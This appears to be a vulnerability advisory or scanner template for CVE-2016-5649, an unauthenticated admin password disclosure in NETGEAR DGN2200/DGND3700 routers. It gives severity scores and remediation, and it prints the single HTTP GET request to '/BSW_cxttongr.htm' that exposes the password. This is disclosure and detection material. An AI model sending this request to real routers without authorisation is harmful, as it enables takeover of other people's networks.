| Title | NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure |
|---|---|
| Author | suman_kar |
| Severity | Critical |
| Impact | An attacker can obtain the admin password and gain unauthorized access to the router's settings, potentially leading to further compromise of the network. |
| Remediation | Update the router firmware to the latest version, which includes a fix for the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.75112 |
| CVE ID | CVE-2016-5649 |
| CWE ID | CWE-319,CWE-200 |
| Tags | cve2016 cve iot netgear router packetstorm vuln |
NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page ‘BSW_cxttongr.htm’ which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router’s web interface.
GET /BSW_cxttongr.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip
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